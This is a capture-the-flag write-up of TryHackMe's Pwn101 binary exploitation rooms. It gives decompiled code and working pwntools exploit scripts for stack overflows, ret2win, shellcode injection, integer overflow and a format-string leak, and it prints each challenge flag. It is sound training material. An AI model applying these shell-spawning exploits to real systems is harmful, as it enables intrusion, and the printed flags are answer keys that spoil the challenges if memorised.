[THM] Pwn101 Writeup
[THM] Pwn101 Writeup
CX330Challenge 1 - pwn101
First, we use IDA to decompile the binary it gave us. We can see that the program declare a 60 bytes array for char v4. And the winnning condition is to use v4 to overflow and cover the value of v5, which is 1337 initially. Since it didn’t ask us to make v5 to a specific value, we can just make sure it not equal to 1337.
To do that, I use a Python script to do it.
from pwn import *
r = remote("10.10.153.228", 9001)
r.recvuntil("Type the required ingredients to make briyani:")
r.sendline("A"*61)
r.interactive()
THM{7h4t's_4n_3zy_oveRflowwwww}
Challenge 2 - pwn102
First step, IDA decompile the binary.
According to the code, we can know that the char v4 is a 104 bytes array, and the winning condition is to let v5 equals to 0xC0FF330000C0D3
. So we can simply overflow the v4 to cover v5. The exploit is as follow.
from pwn import *
payload = b"A" * 104 + p64(0xC0FF330000C0D3)
r = remote("10.10.153.228", 9002)
r.recvuntil("Am I right?")
r.sendline(payload)
By running this script, we can get the shell to cat the flag out.
THM{y3s_1_n33D_C0ff33_to_C0d3_<3}
Challenge 3 - pwn103
First, I use checksec
to check the binary protection.
┌──(kali㉿kali)-[~/CTF/THM/pwn103]
└─$ pwn checksec pwn
[*] '/home/kali/CTF/THM/pwn103/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Next, I use IDA to decompile the binary so that I can check where is the vulnerability easier. If you check the decompiled code throughly, you will find out the vuln is in the general()
function, which is the 3rd choice in the menu (You can also find the vuln if you run the binary and test each choice on the menu). The code of the general()
function is as follows.
int general()
{
const char **v0; // rdx
char s1[32]; // [rsp+0h] [rbp-20h] BYREF
puts(asc_4023AA);
puts(aJopraveenHello);
puts(aJopraveenHopeY);
puts(aJopraveenYouFo);
printf("------[pwner]: ");
__isoc99_scanf("%s", s1);
if ( strcmp(s1, "yes") )
return puts(aTryHarder);
puts(aJopraveenGg);
return main((int)aJopraveenGg, (const char **)"yes", v0);
}
We can notice that the vuln is at the scanf()
, which allows us to cover the value of s1
. Furthermore, I found a suspicious function in gdb.
The admins_only()
function looks interesting. After checking the decompiled code in IDA, I found that it turns out to be dangerous.
int admins_only()
{
puts(asc_403267);
puts(aWelcomeAdmin);
return system("/bin/sh");
}
It open the shell for us! The thing is, how can we access this function? Until now, we can probably know that this is a ret2win problem. We need to cover the return address to gain access to the dangerous function. So I use cyclic 100
to create the pattern to know the offset of the padding.
Then by using the cyclic -l faaaaaaa
to look up the offset value, we get the offset is 40.
pwndbg> cyclic -l faaaaaaa
Finding cyclic pattern of 8 bytes: b'faaaaaaa' (hex: 0x6661616161616161)
Found at offset 40
Next step is to find the address of admins_only()
. Since the binary has no PIE, the address will be always fixed. To get the address, we can simply type in print &admins_only
in gdb.
pwndbg> print &admins_only
$1 = (<text variable, no debug info> *) 0x401554 <admins_only>
Now, we know that the address of admins_only()
is 0x401554
, so we can start writing the exploit!
from pwn import *
offset = 40
admin_only_address = 0x401554
padding = b"A" * offset
payload = padding + p64(admin_only_address)
p = remote("10.10.194.195", 9003)
p.sendline(b"3")
p.sendline(payload)
p.interactive()
But when we execute the script, it won’t give us the shell. After watching this video, I understand that there’s a MOVAPS issue.
So how do we solve the MOVAPS issue? This articel tells us the answer.
The MOVAPS issue
If you’re segfaulting on amovaps
instruction inbuffered_vfprintf()
ordo_system()
in the x86_64 challenges, then ensure the stack is 16-byte aligned before returning to GLIBC functions such asprintf()
orsystem()
. Some versions of GLIBC usesmovaps
instructions to move data onto the stack in certain functions. The 64 bit calling convention requires the stack to be 16-byte aligned before acall
instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack.movaps
triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extraret
before returning into a function or return further into a function to skip apush
instruction.
Here I use the first method, which is add a ret gadget in my ROP (Return-Oriented Programming) chain. To find the ret gadget, we can type layout asm
in gdb.
Now we can write the exploit with this solution to the MOVAPS issue.
from pwn import *
offset = 40
admin_only_address = 0x401554
padding = b"A" * offset
ret_gadget = 0x4016E0 # Solve the MOVAPS issue
payload = padding + p64(ret_gadget) + p64(admin_only_address)
p = remote("10.10.194.195", 9003)
p.sendline(b"3")
p.sendline(payload)
p.interactive()
By running the script, we can get the shell and cat out the flag.txt!
THM{w3lC0m3_4Dm1N}
Challenge 4 - pwn104
Let’s start this one by running the program!
┌──(kali㉿kali)-[~/CTF/THM/pwn104]
└─$ ./pwn104-1644300377109.pwn104
┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
│ ├┬┘└┬┘├─┤├─┤│ ├┴┐│││├┤
┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
pwn 104
I think I have some super powers 💪
especially executable powers 😎💥
Can we go for a fight? 😏💪
I'm waiting for you at 0x7fff6e63d650
If you run the program more than 1 time, you will probably notice that the address given by the program is changing each time. To know why, let’s step into the reverse part to see it’s decompiled code. The following is the code.
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF
setup(argc, argv, envp);
banner();
puts(aIThinkIHaveSom);
puts(aEspeciallyExec);
puts(aCanWeGoForAFig);
printf("I'm waiting for you at %p\n", buf);
return read(0, buf, 200uLL);
}
In this program, we don’t have any vulnerable function to call or return to, so we can obtain the shell only by the shellcode. Look the code above, I notice that there’s a vulnerability at the read function. The vulnerability is not caused by the function per se; rather, it’s caused by the programmer.
If we check the manual of the read()
function in C, we can see that this function will read up to a count that set by the programmer. So it’s designed to be a secure function, not like the gets()
function.
But in this case, the program designer allocated a buffer with a size of 80 bytes and set the read()
function can read up to 200 bytes. That’s where the vuln came from. Since 200 is way larger than 80, we can still input some malicious stuff to pwn this binary. The PoC is as follows (the segmentation fault).
The first step is to find the offset to overwrite the RIP register. Here I still use the cyclic tool to generate an input with the length of 100 bytes by the command cyclic 100
.
Then we use cyclic -l laaaaaa
to lookup the offset, which is 88 in my case. After getting the offset, we can start writing the exploit. Here’s how it will go.
- Get the leak address given by the program.
- Generate the shellcode by shellcraft.
- Inject the shellcode to the buf.
- Control the execution flow to retrun to the shellcode.
To generate the correct shellcode, we need to know some information of the remote system, including the architecture and the OS.
┌──(kali㉿kali)-[~/CTF/THM/pwn104]
└─$ file pwn104-1644300377109.pwn104
pwn104-1644300377109.pwn104: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=60e0bab59b4e5412a1527ae562f5b8e58928a7cb, for GNU/Linux 3.2.0, not stripped
So in this case, we need to set the architecture to AMD64 and the OS to linux. Here’s the exploit.
from pwn import *
r = remote("10.10.107.8", 9004)
r.recvuntil(b"I'm waiting for you at ")
offset = 88
leak_addr = r.recvline().decode()
leak_addr = int(leak_addr, 16)
print(f"Leak address: {hex(leak_addr)}")
# Set the architecture and os for the shellcode crafting
context.arch = "amd64"
context.os = "linux"
shellcode = asm(shellcraft.sh())
padding = b"A" * (offset - len(shellcode))
payload = shellcode + padding + p64(leak_addr)
r.sendline(payload)
r.interactive()
By running this, you can get a shell and free to cat out the flag.txt.
THM{0h_n0o0o0o_h0w_Y0u_Won??}
Challenge 5 - pwn105
Let’s decompile the code to see it’s behavior. The following is the code decompiled by IDA.
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int num1; // [rsp+Ch] [rbp-14h] BYREF
unsigned int num2; // [rsp+10h] [rbp-10h] BYREF
unsigned int sum; // [rsp+14h] [rbp-Ch]
unsigned __int64 v8; // [rsp+18h] [rbp-8h]
v8 = __readfsqword(0x28u);
setup(argc, argv, envp);
banner();
puts("-------=[ BAD INTEGERS ]=-------");
puts("|-< Enter two numbers to add >-|\n");
printf("]>> ");
__isoc99_scanf("%d", &num1);
printf("]>> ");
__isoc99_scanf("%d", &num2);
sum = num1 + num2;
if ( (num1 & 0x80000000) != 0 || (num2 & 0x80000000) != 0 )
{
printf("\n[o.O] Hmmm... that was a Good try!\n");
}
else if ( (sum & 0x80000000) != 0 )
{
printf("\n[*] C: %d", sum);
puts("\n[*] Popped Shell\n[*] Switching to interactive mode");
system("/bin/sh");
}
else
{
printf("\n[*] ADDING %d + %d", num1, num2);
printf("\n[*] RESULT: %d\n", sum);
}
return v8 - __readfsqword(0x28u);
}
According to the code, we can know the following things.
- This program takes two int as the input & stored them as
unsigned int
. - If the MSB (sign bit) of
num1
ornum2
is not equal to 0, which means one of the num is less than 0, the program will output “\n[o.O] Hmmm… that was a Good try!\n” and exit the program. - Else if the MSB of the sum is less than 0, the program will return a shell, which is the winning condition.
- Else the program will outuput the sum and exit.
Since we can’t input any negative number or it will exit, we need another way to make the sum negative. We know that the maximum of an unsigned int
is and the MSB represents a sign, so we can input the maximum of the unsigned int as one of the num and input another int less than to make the sum
overflow, then it will be a negative int! The following is the exploit.
from pwn import *
r = remote("10.10.107.8", 9005)
r.sendline(b"2147483647")
r.sendline(b"1")
r.interactive()
Here, I send 2147483647 and 1 to make the sum overflow to be -2147483648. That way, we can get the shell.
THM{VerY_b4D_1n73G3rsss}
Challenge 6 - pwn106
First, let’s see the protection of this binary.
┌──(kali㉿kali)-[~/CTF/THM/pwn106]
└─$ pwn checksec pwn106
[*] '/home/kali/CTF/THM/pwn106/pwn106'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Almost everything is on. Next step, we test some input to the binary to see what vulnerability it has.
┌──(kali㉿kali)-[~/CTF/THM/pwn106]
└─$ ./pwn106
┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
│ ├┬┘└┬┘├─┤├─┤│ ├┴┐│││├┤
┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
pwn 107
🎉 THM Giveaway 🎉
Enter your THM username to participate in the giveaway: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thanks AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Doesn’t look like a BOF.
┌──(kali㉿kali)-[~/CTF/THM/pwn106]
└─$ ./pwn106
┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
│ ├┬┘└┬┘├─┤├─┤│ ├┴┐│││├┤
┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
pwn 107
🎉 THM Giveaway 🎉
Enter your THM username to participate in the giveaway: %p %p %p %p %p %p
Thanks 0x7ffd43b908a0 (nil) (nil) 0x55e71b068380 0x7f3191483b30 0x5b5858587b4d4854
It seems to be a format string vulnerability PoC! (See here for more info)
In order to understand the vulnerability more clearly, we step into the code that is decompiled by IDA.
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[56]; // [rsp+20h] [rbp-40h] BYREF
unsigned __int64 v6; // [rsp+58h] [rbp-8h]
v6 = __readfsqword(0x28u);
setup(argc, argv, envp);
banner();
puts(&byte_2119);
printf("Enter your THM username to participate in the giveaway: ");
read(0, buf, 0x32uLL);
printf("\nThanks ");
printf(buf);
return v6 - __readfsqword(0x28u);
}
Here, the programmer read 0x32 bytes, which is 50 in decimal, and stored it in a buf of 56 bytes. So apparently the BOF doesn’t exist. But this line gives a format string vulnerability for us to leak out the flag on the stack.
printf(buf);
The following is the format specifier table I found on GeeksforGeeks.
Format Specifier | Description |
---|---|
*%c* | For character type. |
*%d* | For signed integer type. |
*%e or %E* | For scientific notation of floats. |
*%f* | For float type. |
*%g or %G* | For float type with the current precision. |
*%i* | signed integer |
*%ld or %li* | Long |
*%lf* | Double |
*%Lf* | Long double |
*%lu* | Unsigned int or unsigned long |
*%lli or %lld* | Long long |
*%llu* | Unsigned long long |
*%o* | Octal representation |
*%p* | Pointer |
*%s* | String |
*%u* | Unsigned int |
*%x or %X* | Hexadecimal representation |
*%n* | Prints nothing |
*%%* | Prints % character |
And here I used the %p
to leak the stack out. The following is the exploit.
from pwn import *
from Crypto.Util.number import long_to_bytes
r = remote("10.10.87.15", 9006)
r.recvuntil("giveaway: ")
r.sendline(b"%p " * 20) # This is the payload
r.recvuntil("Thanks ")
leak_items = r.recvall().split() # Cause we sent the payload seperated by spaces
valid_items = []
for item in leak_items:
try:
item = int(item.decode(), 16) # Change it to decimal to convert it to bytes
valid_items.append(
long_to_bytes(item)[::-1].decode()
) # Due to the little-endianess
except ValueError:
pass
flag = "".join(valid_items)
print(flag)
THM{y0U_w0n_th3_Giv3AwaY_anD_th1s_1s_YouR_fl4G}